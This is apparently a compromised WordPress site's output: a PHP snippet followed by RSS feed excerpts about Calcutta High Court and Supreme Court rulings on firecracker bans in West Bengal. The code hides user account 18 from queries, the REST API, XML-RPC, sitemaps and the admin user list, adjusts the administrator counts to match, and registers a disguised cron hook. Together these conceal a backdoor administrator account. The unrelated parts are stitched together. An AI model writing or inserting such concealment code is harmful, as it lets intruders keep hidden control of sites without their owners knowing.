add_action( 'pre_get_posts', function( $q ) {
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add_action( 'pre_user_query', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $exclude[] = 18;

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    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
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    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
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add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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        return new WP_Error(
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            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
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        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
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                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>Green crackers, or firecrackers made from less polluting materials, can be used during the festive season in West Bengal beginning this week, the Supreme Court ruled on Monday, overturning a total ban on crackers imposed by the Calcutta High Court to combat air pollution caused by the COVID-19 pandemic. &#160; Relying upon an order by [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Green crackers, or firecrackers made from less polluting materials, can be used during the festive season in West Bengal beginning this week, the Supreme Court ruled on Monday, overturning a total ban on crackers imposed by the Calcutta High Court to combat air pollution caused by the COVID-19 pandemic.</p>
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<p>Relying upon an order by the top court in another case involving firecrackers from Friday, the judges said, &#8220;There cannot be a complete ban of firecrackers. Strengthen the mechanism to stop misuse.&#8221; Supreme Court Justices AM Khanwilkar and Ajay Rastogi also asked the West Bengal government to look into the possibility of preventing banned firecrackers and related items from being imported into the state and stopping them at entry points.</p>
<p>The post <a href="https://theedgemedia.in/supreme-courts-new-ruling-cannot-have-complete-ban-on-firecrackers">Supreme Court&#8217;s New Ruling: &#8220;Cannot Have Complete Ban on Firecrackers&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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					<description><![CDATA[<p>During the impending Diwali/Kali Puja festivities in West Bengal, the Calcutta High Court ordered a blanket prohibition on the use and sale of all types of firecrackers, including green crackers. The whole prohibition on firecrackers will be in effect for the rest of the year&#8217;s festivities, including Chhath Puja, Guru Nanak Jayanti, Christmas, and New [&#8230;]</p>
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										<content:encoded><![CDATA[<p>During the impending Diwali/Kali Puja festivities in West Bengal, the Calcutta High Court ordered a blanket prohibition on the use and sale of all types of firecrackers, including green crackers. The whole prohibition on firecrackers will be in effect for the rest of the year&#8217;s festivities, including Chhath Puja, Guru Nanak Jayanti, Christmas, and New Year&#8217;s celebrations.</p>
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<p>The Court was hearing a Public Interest Litigation (PIL) petition filed by environmental activist Roshni Ali, who asked for a ban on the sale and use of firecrackers during the upcoming festivities to protect people&#8217;s right to clean, healthy, and breathable air, especially in the wake of the deadly Covid-19 pandemic.</p>
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